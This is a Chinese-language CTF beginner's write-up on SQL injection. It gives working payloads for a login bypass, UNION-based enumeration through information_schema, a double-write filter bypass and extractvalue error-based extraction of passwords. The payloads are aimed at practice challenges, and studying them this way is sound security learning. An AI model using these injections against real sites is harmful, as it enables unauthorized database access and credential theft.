CTF入门笔记之SQL注入(1)
程序员文章站
2022-03-09 22:29:44
...
利用information_schema数据库来进行sql注入。
1.最基础的 万能密码获得flag
payload:check.php?username=1%27+or+1%3D1%23&password=1
直接拿到flag。
2.无过滤 运用information_schema数据库
万能密码可以登录,说明可以无过滤。
查看数据有几条
payload:check.php?username=1' order by 4%23&password=1
说明有三条数据
然后爆数据库名
payload:check.php?username=1' union select 1,2,database()%23&password=1
得到数据库
然后爆表名
payload:check.php?username=1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%23&password=1
得到表名
爆字段名
payload:check.php?username=1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1'%23&password=1
然后爆内容!
payload:check.php?username=1' union select 1,2,group_concat(password) from l0ve1ysq1%23&password=1
这里因为我知道flag在password,所以我只爆了password的内容,当然可以id,username,password都爆出来。
得到flag。
3.双写绕过过滤的注入
发现万能密码会报错,考虑有过滤,双写试一下,发现可以
payload:check.php?username=1' oorr 1=1%23&password=1
然后接下来就可以按步骤来了 爆数据库名-爆表名-爆字段名-爆内容。
爆表
payload:check.php?username=1' uniunionon selselectect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema = database()%23&password=1
爆表
payload:check.php?username=1' uniunionon selselectect 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_name = 'b4bsql'%23&password=1
爆内容 得flag
payload:check.php?username=1' uniunionon selselectect 1,2,group_concat(passwoorrd) frfromom b4bsql%23&password=1
需要注意的是,因为or关键字被过滤了,所以information,password虽然不是关键字,但其中的or还是要双写的。
4.用extractvalue绕过过滤(报错注入)
爆数据库
payload:check.php?username=1'^extractvalue(1,concat(0x7e,(select(database()))))%23&password=1
爆表
payload:check.php?username=1'^extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database()))))%23&password=1
爆字段
payload:check.php?username=1'^extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1'))))%23&password=1
爆内容(password)
payload:check.php?username=1'^extractvalue(1,concat(0x7e,(select(group_concat(password))from(H4rDsq1))))%23&password=1
但是extractvalue函数返回值是有字数限制的,所以我们只能看到左边一部分,然后用right函数看右边的
payload:check.php?username=1'^extractvalue(1,right(concat(0x7e,(select(group_concat(password))from(H4rDsq1))),35))%23&password=1
拼接一下得出flag为
flag{4073118d-2919-4563-9ac1-6be41c66a852}
上一篇: PHP 数据库类的封装及使用
下一篇: BugkuCTF writeup